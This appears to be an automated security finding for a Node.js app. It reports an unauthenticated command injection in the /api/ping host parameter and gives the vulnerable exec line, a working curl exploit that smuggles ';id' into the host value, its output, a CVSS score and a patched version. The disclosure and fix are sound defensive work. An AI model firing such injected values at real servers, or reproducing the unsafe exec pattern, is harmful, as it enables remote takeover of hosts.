Unauthenticated OS Command Injection in /api/ping host parameter
injection-cmd · server.js:31-31
15b34d5cc6 by 42nights on 2026-06-03Summary
The /api/ping endpoint in server.js builds a shell command by interpolating the user-supplied 'host' query parameter directly into a template string passed to child_process.exec: exec(`ping -c 1 ${host}`). Because exec spawns /bin/sh -c, any shell metacharacter in 'host' (e.g., ';', '|', '&&', '`', '$()') is interpreted by the shell. A request such as /api/ping?host=127.0.0.1;id returns the ping output followed by the output of the injected `id` command, confirming arbitrary command execution as the Node.js process user.
Impact. Any remote, unauthenticated attacker who can reach the endpoint can run arbitrary shell commands on the server with the privileges of the Node.js process. The validated payload executed `id`, but the same primitive allows reading or exfiltrating files, writing webshells, opening reverse shells, pivoting to internal networks, stealing secrets/credentials, and ultimately full host compromise.
Vulnerable code — server.js
🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
Working exploit
curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
Exploit transcript
HTTP 200 Content-Type: text/plain ping result for 127.0.0.1;id: PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.082 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.082/0.082/0.082/0.000 ms uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)
Confirmed: command injection confirmed — injected `id` executed: uid=501(macintosh) gid=20(staff)
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H→ 9.8 (critical)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Avoid the shell entirely and validate input. Example patch:
--- a/server.js
+++ b/server.js
@@
-const { exec } = require('child_process');
+const { execFile } = require('child_process');
@@
-app.get('/api/ping', (req, res) => {
- const host = req.query.host;
- exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
+app.get('/api/ping', (req, res) => {
+ const host = String(req.query.host || '');
+ // Strict allowlist: hostnames/IPv4 only, no shell metacharacters
+ if (!/^[A-Za-z0-9.\-]{1,253}$/.test(host)) {
+ return res.status(400).type('text/plain').send('invalid host');
+ }
+ execFile('/bin/ping', ['-c', '1', '--', host], { timeout: 4000 }, (err, stdout, stderr) => {
...
});
});
Key changes: (1) use execFile (no shell) so arguments are passed as an argv array and metacharacters are never interpreted; (2) enforce a strict regex allowlist; (3) pass '--' so a leading '-' cannot be interpreted as a ping flag.Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.